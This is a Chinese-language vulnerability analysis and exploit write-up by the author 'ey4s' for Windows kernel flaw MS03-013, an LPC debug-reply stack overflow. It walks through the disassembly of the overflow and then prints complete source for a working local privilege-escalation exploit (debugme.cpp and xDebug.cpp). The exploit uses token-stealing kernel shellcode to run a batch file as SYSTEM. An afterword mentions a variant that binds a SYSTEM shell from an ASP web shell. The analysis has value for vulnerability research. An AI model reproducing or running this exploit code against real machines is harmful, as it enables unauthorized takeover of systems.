以下是研究MS03-013所公布漏洞时的一点心得,其中可能有不少错误的地方,请大家多指教。本文涉
及到的一些东西并没有详细解释,如KPEB、TEB等,大家可自行参考本文后面所提到的参考资源。写这篇文
章的目的是权当笔记,一是请高手们指出错误,二来供以后翻阅。
-=-=-=- 第一部分 实例分析 -=-=-=-
MS在2003-04-16发布了一个安全公告MS03-013,内容如下:
The vulnerability exists in the kernel debugging support code that delivers debug
events to the user mode debugger. malicious user mode debugger would send a large reply
to the kernel, which results in a stack overflow.
按照惯例,MS的安全公告不会提供技术细节的,但在漏洞发现者的网站上也没有公布技术细节,其他
地方也没有相关的资料,于是只能自己跟踪分析了。花了我很长时间,终于重现了这个漏洞。
背景知识: user-mode debuger工作流程
<1>debuger创建一个新进程,或attach一个正在运行的进程。我们称这个进程为B。
<2>debuger等待进程B产生debug事件
<3>进程B产生debug事件,发送消息给debuger,进程挂起,等待debuger指令。
<3>debuger处理debug事件,发送消息给进程B。
<4>进程B接受debuger发送的消息,进程复苏。
<5>循环2-4
消息传递是通过lpc port来进行的,流程如下所示:
debuger <--> kernel <--> process B
上面所说的消息结构如下:
typedef struct _DEBUG_MESSAGE
{
PORT_MESSAGE PORT_MSG;
DEBUG_EVENT DebugEvent;
}DEBUG_MESSAGE, *PDEBUG_MESSAGE;
typedef struct _PORT_MESSAGE
{
USHORT DataSize;//数据长度
USHORT MessageSize;//总长度
USHORT MessageType;
USHORT DataInfoOffset;
CLIENT_ID ClientId;
ULONG MessageId;
ULONG SectionSize;
//UCHAR Data[];
}PORT_MESSAGE, *PPORT_MESSAGE;
在\Microsoft SDK\samples\winbase\Debug目录下有几个简单的user-mode debuger的源代码,
大家可以参考一下。
结合安全公告的内容和背景知识,我想你已经知道怎么重现这个漏洞了。
<>debuger send large reply --> kernel
<>kernel delivers reply -> process B
在kernel处理这个恶意的reply时,溢出发生了。
注意:溢出发生时,CPU所处的路径是 -> 运行在内核空间,关联着进程B。
OK!我们来看看反汇编出来的代码,看看溢出到底是怎么发生的。
首先,debuger发送的reply长度是有限制的,我们来看看:
//Data长度要小于等于总长度-0x18
NtReplyPort+0x4D
0008:8049DC89 PUSH 06
0008:8049DC8B POP ECX
0008:8049DC8C MOV ESI,[EBP+0C]//reply message地址
0008:8049DC8F LEA EDI,[EBP-3C]
0008:8049DC92 REPZ MOVSD
0008:8049DC94 OR DWORD PTR [EBP-04],-01
0008:8049DC98 MOVSX EAX,WORD PTR [EBP-3C]//取message DataSize
0008:8049DC9C ADD EAX,18
0008:8049DC9F MOVSX ECX,WORD PTR [EBP-3A]//取message TotalSize
0008:8049DCA3 CMP EAX,ECX//判断DataSize+0x18是否大于TotalSize
0008:8049DCA5 JA 804EEE93
//Reply总长度不能超过0x148
0008:8049DCD3 MOV AX,[EBP-3A]//取message TotalSize
0008:8049DCD7 MOVSX EDX,AX
0008:8049DCDA MOV ECX,[EBP-20]
0008:8049DCDD CMP EDX,[ECX+34]//[ecx+34]处内容为0x148
0008:8049DCE0 JA 804EEF82
所以总长度最大只能为0x148字节,Data最大只能为0x130字节,但这已经足够触发内核堆栈溢出了。
接着kernel会调用_DbgkpSendApiMessage来处理我们的debuger发送的reply_msg,函数调用关系如下:
DbgkpSendApiMessage
|_ LpcRequestWaitReplyPort
|_ 80433399
|_ LpcpMoveMessage <-- kernel stack buffer overflow
_DbgkpSendApiMessage(argv1, argv2, argv3)
_DbgkpSendApiMessage
0008:8052CF45 PUSH EBP
0008:8052CF46 MOV EBP,ESP
0008:8052CF48 SUB ESP,00000100//从stack中分配0x100字节内存
......
0008:8052CF5E MOV ESI,[EBP+08]
......
0008:8052CF78 LEA EAX,[EBP-0100]
0008:8052CF7E PUSH EAX
0008:8052CF7F PUSH ESI
0008:8052CF80 PUSH DWORD PTR [EBP+0C]
0008:8052CF83 CALL _LpcRequestWaitReplyPort
......
0008:8052CFBA RET 000C
_LpcRequestWaitReplyPort(argv3, argv2, stack_buff)
_LpcRequestWaitReplyPort
0008:8049CFD3 PUSH 00
0008:8049CFD5 PUSH DWORD PTR [ESP+10]
0008:8049CFD9 PUSH DWORD PTR [ESP+10]
0008:8049CFDD PUSH DWORD PTR [ESP+10]
0008:8049CFE1 CALL 80433399
0008:8049CFE6 RET 000C
80433399(argv3, argv2, stack_buff, 0)
80433399+0x3da
0008:80433773 MOV ESI,[EBP+0C]
0008:80433776 XOR EDI,EDI
0008:80433778 PUSH EDI
0008:80433779 PUSH EDI
0008:8043377A LEA EAX,[ESI+30]
0008:8043377D PUSH EAX
0008:8043377E LEA EAX,[ESI+18]
0008:80433781 PUSH EAX
0008:80433782 PUSH DWORD PTR [EBP+10]
0008:80433785 CALL _LpcpMoveMessage
_LpcpMoveMessage(stack_buff, argv2+18, argv2+0x30)
_LpcpMoveMessage
0008:80402276 PUSH ESI
0008:80402277 PUSH EDI
0008:80402278 MOV EDI,[ESP+0C]
0008:8040227C CLD
0008:8040227D MOV ESI,[ESP+10]
0008:80402281 LODSD
0008:80402282 STOSD
0008:80402283 LEA ECX,[EAX+03]//取得DataSize
0008:80402286 AND ECX,0000FFFC//取4的整数,去除余数,如0x121 -> 0x120
0008:8040228C SHR ECX,02//DataSize除4
0008:8040228F LODSD
0008:80402290 MOV EDX,[ESP+18]
0008:80402294 OR EDX,EDX
0008:80402296 JZ 8040229B
0008:80402298 MOV AX,DX
0008:8040229B STOSD
0008:8040229C MOV EDX,[ESP+1C]
0008:804022A0 OR EDX,EDX
0008:804022A2 JZ 804022B0
0008:804022A4 MOV EAX,[EDX]
0008:804022A6 STOSD
0008:804022A7 MOV EAX,[EDX+04]
0008:804022AA STOSD
0008:804022AB ADD ESI,08
0008:804022AE JMP 804022B2
0008:804022B0 MOVSD
0008:804022B1 MOVSD
0008:804022B2 MOVSD
0008:804022B3 MOVSD
0008:804022B4 MOV ESI,[ESP+14]
0008:804022B8 REPZ MOVSD//没有考虑stack buffer大小,将我们的发送的数据全部copy到stack中
0008:804022BA POP EDI
0008:804022BB POP ESI
0008:804022BC RET 0014
-=-=-=- 第二部分 exploit需要解决的几个问题 -=-=-=-
一、确定retloc地址。
从第一部分的反汇编代码中可以知道,函数的返回地址在stack_buff+0x104处。
二、确定retaddr地址。
因为溢出发生时,关联的是进程B,所以shellcode就直接放在进程B空间里面,进程B把处于它进程内
的shellcode的地址传递给debuger,然后debuger发送给kernel的buffer结构如下:
|...nop...|realcode_addr|shellcode_addr|nop(0xC)|esp|cs|ds|es|
realcode_addr覆盖在ebp,realcode的功能是恢复寄存器fs、以SYSTEM权限运行ey4s.bat。
shellcode_addr覆盖在DbgkpSendApiMessage函数的返回地址,shllcode的功能是提升权限、从核心
态返回应用态。
因为函数DbgkpSendApiMessage返回时是ret 0xc,所以要0xc个nop来填充。
再后面跟的就是返回应用态后进程B应该对应的寄存器值了。
三、提升权限。
显然假设Process B是以普通用户身份运行的,所以利用这个漏洞的目的是提升权限,所以要在从
核心态返回应用态之前提前权限。在unix平台中可以修改当前进程的UID为0,达到提升权限的目的。在
windows平台中也可以用类似的方法,但不是修改UID(因为windows没有UID这个概念),而是修改当前
进程的访问令牌,即Process Token。开始我用的办法是修改Token中的特权列表,如增加debug特权,但这
样的话,返回应用态后想获得SYSTEM权限还得费点功夫。Token还有很多可以修改的地方,如Owner SID等等。
最后还是决定用最简单最有效的办法,即用SYSTEM进程的TOKEN替换当前进程的TOKEN,这样我们的进程就
有最高权限了。
在windows 2000平台中:
当运行在内核模式的时候,FS:[0x124]总是指向到当前线程的TEB,[TEB+0x44]总是指向到当前进程
的KPEB。在[KPEB+0x12c]处存放的就是当前进程的Token了。系统中各个进程的KPEB由一环形链表联结着,
所以可以通过当前进程的KPEB找出其他进程的KPEB。
实现代码如下:
//获取当前进程的KPEB地址
mov eax,fs:[0x124]
mov esi,[eax+0x44]
mov eax,esi
/*搜索SYSTEM进程的KPEB地址*/
//获得下一个进程的KPEB
search:
mov eax,[eax+0xa0]
sub eax,0xa0
cmp [eax+0x9c],0x8//从PID判断是否SYSTEM进程
jne search
mov eax,[eax+0x12c]//获取system进程的token
mov [esi+0x12c],eax//修改当前进程的token
四、从内核态正确返回应用态
溢出发生后,我们的shellcode得到控制权,提升权限后应该让中断调用返回,系统才不会崩溃掉。因
为我们覆盖了内核函数DbgkpSendApiMessage的返回地址,所以让中断调用返回这个任务就只有让我们自己
来完成了。在返回之前要还原一些寄存器的值,这样在返回应用态后,进程B中我们的realcode才能正确的
继续运行。在中断返回时,堆栈中的数据结构如下:
内存高处 栈底
|??????|
|ds | <-- 返回应用态后的ds
|esp | <-- 返回应用态后的esp
|eflags| <-- 返回应用态后的flags
|cs | <-- 返回应用态后的cs
|eip | <-- 返回应用态后的eip
内存低处 栈顶
我们自己构造这些数据,然后让esp指向这些数据,接着调用iretd从核心态返回应用态也可以。不过,
好像这样返回后会出问题,也许参数没有设置完整。还是从内存中搜索这些参数保险一点。
-=-=-=- 第三部分 exploit -=-=-=-
/*-------------------------------------------------------------------
debugme.cpp
written by ey4s
cooleyas@21cn.com
2003-05-23
-------------------------------------------------------------------*/
#include
#include
#pragma pack(1)
typedef struct _SomeInfo
{
DWORD dwNum;
DWORD dwRealCode;
DWORD dwShellCode;
DWORD dw[3];
DWORD dwESP;
DWORD dwCS;
DWORD dwDS;
DWORD dwES;
}SOMEINFO, *PSOMEINFO;
unsigned char shellcode[512];
unsigned char realcode[512];
DWORD dwFS;
HANDLE hProcess;
DWORD dwRun;
SOMEINFO si;
void shellcodefnlock();
void realcodefnlock();
void getshellcode(unsigned char *pDst, int iSize, BYTE *pSrc);
void CreateNewProcess()
{
STARTUPINFO si={sizeof(si)};
PROCESS_INFORMATION pi;
CreateProcess(NULL, "ey4s.bat", NULL, NULL,
TRUE, CREATE_NEW_CONSOLE , NULL, NULL, &si, &pi);
exit(0);
}
void main()
{
HMODULE h;
DWORD dwESP, dwCS, dwDS, dwES;
//保存寄存器值
__asm
{
mov dwESP, esp
sub dwESP, 0x100
push cs
pop eax
and eax,0xFFFF
mov dwCS, eax
push ds
pop eax
and eax,0xFFFF
mov dwDS, eax
push es
pop eax
and eax,0xFFFF
mov dwES, eax
push fs
pop eax
and eax,0xFFFF
mov dwFS, eax
}
//取得shellcode
getshellcode(shellcode, sizeof(shellcode), (BYTE *)shellcodefnlock);
getshellcode(realcode, sizeof(realcode), (BYTE *)realcodefnlock);
//传递一些信息给debuger
dwRun = (DWORD)&CreateNewProcess;
si.dwNum = sizeof(si)/sizeof(DWORD) -1 ;
si.dwRealCode = (DWORD)&realcode;
si.dwShellCode = (DWORD)&shellcode;
si.dwESP = dwESP;
si.dwCS = dwCS;
si.dwDS = dwDS;
si.dwES = dwES;
printf( "shellcode 0x%.8X\n"
"realcode 0x%.8X\n"
"ESP=%.8X CS=0x%X DS=0x%X ES=0x%X FS=0x%X\n",
si.dwShellCode, si.dwRealCode, si.dwESP,
si.dwCS, si.dwDS, si.dwES, dwFS);
RaiseException(0x1981, 0, sizeof(si)/sizeof(DWORD), (DWORD *)&si);
//触发Load Dll和Free Dll事件
while(1)
{
//printf(".");
h=LoadLibrary("ws2_32.dll");
Sleep(1000);
FreeLibrary(h);
Sleep(1000);
}
}
void shellcodefnlock()
{
_asm
{
nop
nop
nop
nop
nop
nop
nop
nop
/*start here*/
/*--------提升权限--------*/
//获取当前进程的KPEB地址
mov eax,fs:[0x124]
mov esi,[eax+0x44]
mov eax,esi
/*搜索SYSTEM进程的KPEB地址*/
//获得下一个进程的KPEB
search:
mov eax,[eax+0xa0]
sub eax,0xa0
cmp [eax+0x9c],0x8//从PID判断是否SYSTEM进程
jne search
mov eax,[eax+0x12c]//获取system进程的token
mov [esi+0x12c],eax//修改当前进程的token
/*------------从核心态返回应用态--------------*/
//保存esp
mov esi,esp
//搜索iretd所需要的参数
mov eax,esp
add eax,0x10//跳过我们的数据
next:
add eax,0x4
mov ebx,[eax]
cmp ebx,[esi+0x4]//cs linux系统是0x23,win2k好像都是1b
jne next
//
sub eax,0x4//此时eax指向的即为iretd返回所需要的参数起始地址
mov esp,eax
mov [eax],ebp//ebp是realcode的地址,设置返回后的eip为realcode的起始地址
add eax,0xC
//设置返回应用态后的esp
mov ebx,[esi]
mov [eax], ebx
//恢复寄存器值
push [esi+0x8]
pop ds
push [esi+0xc]
pop es
//返回应用态
iretd
/*end here*/
int 3
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
void realcodefnlock()
{
_asm
{
nop
nop
nop
nop
nop
nop
nop
nop
/*start here*/
push dwFS
pop fs
//call our function
call dwRun
/*end here*/
int 3
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
void getshellcode(unsigned char *pDst, int iSize, BYTE *pSrc)
{
unsigned char temp;
unsigned char *shellcodefnadd, *start;
int len,k;
char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
#define FNENDLONG 0x08
/* 定位 shellcodefnlock的汇编代码 */
shellcodefnadd=pSrc;
temp=*shellcodefnadd;
if(temp==0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x500;++k)
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0)
break;
/* shellcodefnadd+k+8是得到的shellcodefnlock汇编代码地址 */
len=0;
start=shellcodefnadd+k+8;
//len = 2*wcslen(shellcodefnadd+k+8);
while((BYTE)start[len] != (BYTE)'\xcc')
{
pDst[len] = start[len];
len++;
if(len>=iSize-1) break;
}
//memcpy(shellcode,shellcodefnadd+k+8,len);
pDst[len]='\0';
}
/*-------------------------------------------------------------------
xDebug.cpp
written by ey4s
cooleyas@21cn.com
2003-05-23
-------------------------------------------------------------------*/
#include
#include
#define offset 0x100+0x4-0x6*4
typedef enum _PROCESSINFOCLASS {
ProcessDebugPort=7// 7 Y Y
} PROCESSINFOCLASS;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING ,*PUNICODE_STRING;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID,* PCLIENT_ID, **PPCLIENT_ID;
typedef struct _LPC_MESSAGE
{
USHORT DataSize;
USHORT MessageSize;
USHORT MessageType;
USHORT DataInfoOffset;
CLIENT_ID ClientId;
ULONG MessageId;
ULONG SectionSize;
// UCHAR Data[];
}LPC_MESSAGE, *PLPC_MESSAGE;
typedef struct _OBJECT_ATTRIBUTES
{
DWORD Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
DWORD Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
}OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES, **PPOBJECT_ATTRIBUTES;
typedef
DWORD
(CALLBACK * NTCREATEPORT)(
OUT PHANDLE PortHandle,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG MaxConnectInfoLength,
IN ULONG MaxDataLength,
IN OUT PULONG Reserved OPTIONAL );
typedef
DWORD
(CALLBACK * NTREPLYWAITRECVIVEPORT)(
IN HANDLE PortHandle,
OUT PHANDLE ReceivePortHandle OPTIONAL,
IN PLPC_MESSAGE Reply OPTIONAL,
OUT PLPC_MESSAGE IncomingRequest );
typedef
DWORD
(CALLBACK * NTREPLYPORT)(
IN HANDLE PortHandle,
IN PLPC_MESSAGE Reply );
typedef
DWORD
(CALLBACK * NTSETINFORMATIONPROCESS)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength );
typedef struct _DEBUG_MESSAGE
{
LPC_MESSAGE PORT_MSG;
DEBUG_EVENT DebugEvent;
}DEBUG_MESSAGE, *PDEBUG_MESSAGE;
NTSETINFORMATIONPROCESS NtSetInformationProcess;
NTREPLYWAITRECVIVEPORT NtReplyWaitReceivePort;
NTCREATEPORT NtCreatePort;
NTREPLYPORT NtReplyPort;
template struct PORT_MESSAGEX : LPC_MESSAGE {
UCHAR Data[i];
};
PROCESS_INFORMATION pi;
int main()
{
HMODULE hNtdll;
DWORD dwAddrList[9];
BOOL bExit = FALSE;
DWORD dwRet;
HANDLE hPort;
int k=0;
DEBUG_MESSAGE dm;
OBJECT_ATTRIBUTES oa = {sizeof(oa)};
PORT_MESSAGEX<0x130> PortReply;
STARTUPINFO si={sizeof(si)};
printf( "\nxDebug -> windows kernel exploit for MS03-013\n"
"Written by ey4s\n"
"2003-05-23\n\n");
//get native api address
hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
{
printf("LoadLibrary failed:%d\n", GetLastError());
return 0;
}
NtReplyWaitReceivePort = (NTREPLYWAITRECVIVEPORT)
GetProcAddress(hNtdll, "NtReplyWaitReceivePort");
NtCreatePort = (NTCREATEPORT)
GetProcAddress(hNtdll, "NtCreatePort");
NtReplyPort = (NTREPLYPORT)
GetProcAddress(hNtdll, "NtReplyPort");
NtSetInformationProcess = (NTSETINFORMATIONPROCESS)
GetProcAddress(hNtdll, "NtSetInformationProcess");
//create port
dwRet = NtCreatePort(&hPort, &oa, 0, 0x148, 0);
if(dwRet != 0)
{
printf("create hPort failed. ret=%.8X\n", dwRet);
return 0;
}
//create process
if(!CreateProcess(0, "debugme.exe", NULL, NULL, TRUE,
CREATE_SUSPENDED, 0, 0, &si, &pi))
{
printf("CreateProcess failed:%d\n", GetLastError());
return 0;
}
//set debug port
dwRet = NtSetInformationProcess(pi.hProcess, ProcessDebugPort,
&hPort, sizeof(hPort));
if(dwRet != 0)
{
printf("set debug port error:%.8X\n", dwRet);
return 0;
}
//printf("pid:0x%.8X %d hPort=0x%.8X\n", pi.dwProcessId, pi.dwProcessId, hPort);
ResumeThread(pi.hThread);
while (true)
{
memset(&dm, 0, sizeof(dm));
NtReplyWaitReceivePort(hPort, 0, 0, &dm.PORT_MSG);
k++;
switch (dm.DebugEvent.dwDebugEventCode+1)
{
case EXCEPTION_DEBUG_EVENT:
printf("DEBUG_EVENT --> except\n");
if(dm.DebugEvent.u.Exception.ExceptionRecord.NumberParameters == 9)
{
memcpy((unsigned char *)&dwAddrList,
(unsigned char
*)&dm.DebugEvent.u.Exception.ExceptionRecord.ExceptionInformation,
sizeof(dwAddrList));
/*int n;
for(n=0;n<6;n++)
printf("%.8X\n", dwAddrList[n]);*/
}
break;
case CREATE_THREAD_DEBUG_EVENT:
printf("DEBUG_EVENT --> create thread\n");
break;
case CREATE_PROCESS_DEBUG_EVENT:
printf("DEBUG_EVENT --> create process\n");
break;
case EXIT_THREAD_DEBUG_EVENT:
printf("DEBUG_EVENT --> exit thread\n");
break;
case EXIT_PROCESS_DEBUG_EVENT:
printf("DEBUG_EVENT --> exit process\n");
bExit = TRUE;
break;
case LOAD_DLL_DEBUG_EVENT:
printf("DEBUG_EVENT --> load dll\n");
break;
case UNLOAD_DLL_DEBUG_EVENT:
printf("DEBUG_EVENT --> unload dll\n");
break;
case OUTPUT_DEBUG_STRING_EVENT:
printf("DEBUG_EVENT --> debug string\n");
break;
} //end of switch
//printf("k=%d\n",k);
if(k==10)
{
//printf("************\n");
//Sleep(4*1000);
memset(&PortReply, 0, sizeof(PortReply));
memcpy(&PortReply, &dm, sizeof(dm));
PortReply.MessageSize = 0x148;
PortReply.DataSize = 0x130;
memset(&PortReply.Data, 'a', sizeof(PortReply.Data));
memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList));
dwRet = NtReplyPort(hPort, &PortReply);
if(dwRet ==0 )
printf("Send shellcode to ntoskrnl completed!"
"Wait for exit.\n");
else
printf("NtReply err:%.8X\n", dwRet);
}
else
NtReplyPort(hPort, &dm.PORT_MSG);
if(bExit) break;
}//end of while
return 0;
}
编译xDebug.cpp和debugme.cpp,放在同一目录下,再创建一个ey4s.bat,然后运行xDebug.exe,成功
后会以SYSTEM权限运行ey4s.bat。
-=-=-=- 第四部分 其他 -=-=-=-
个人认为,kernel exploit和user-mode exploit区别在于kernel exploit要多做两件事:
<1>提升权限。当然如果关联的进程已经是SYSTEM、或ADMIN权限,就没必要提升权限了。
<2>从核心态正确返回应用态,这其中包括恢复寄存器值,搜索返回所需要的参数等。
其他的就跟user-mode exploit没什么区别了。
在这过程中参考了大量书籍、资料,向作者们表示感谢!
References:
<>_blank>http://elfhack.whitecell.org/ Linux_Kernel_Exploit_RD by alert7
<>_blank>http://person.okey.net/~webcrazy/ webcrazy
<>_blank>http://www.chapeaux-noirs.org crazylord
books:
*Windows NT/2000 Native API Reference
*Inside Microsoft Windows 2000, Third Edition
-=-=-=- 第五部分 后记 -=-=-=-
以上exp只能在以下情况下成功:
<>交互登录时,直接运行
<>交互登录时,以普通用户身份运行xdebug
不能用于:
<>asp shell
在asp shell里面调用失败的原因比较奇怪,正在想办法解决,应该是可以解决的问题。在改进版本中,asp shell里面调用已经可以以system身份绑定shell,并且可以连接上去执行cmd.exe的内置命令,可以运行whoami.exe等一些程序,但运行net.exe、ping.exe等还是失败,出错信息是0xC0000142。